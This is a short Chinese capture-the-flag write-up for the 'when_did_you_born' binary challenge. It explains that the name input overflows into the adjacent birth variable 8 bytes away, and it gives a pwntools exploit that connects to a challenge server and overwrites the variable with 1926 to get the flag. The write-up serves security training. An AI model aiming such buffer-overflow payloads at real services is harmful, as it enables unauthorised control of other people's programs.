1.题目
2.IDA反汇编C程序
3.程序流程分析
首先输入Birth,如果Birth==1926直接退出;否则,输入Name,这时,判断Birth是否==1926.等于则get flag。
很明显,输入名字就是专门为我们提供溢出点的。两个变量的位置如下图:
0x20 - 0x18 = 0x8
也就是说name和birth之间间距8个单元。exp如下
from pwn import *
#io = process('./when_did_you_born')
io = remote('220.249.52.133', 42115)
io.recvuntil("Your Birth?")
io.sendline("1995")
payload = 'a' * 0x8 + p64(1926)
io.recvuntil('Your Name?')
io.sendline(payload)
io.interactive()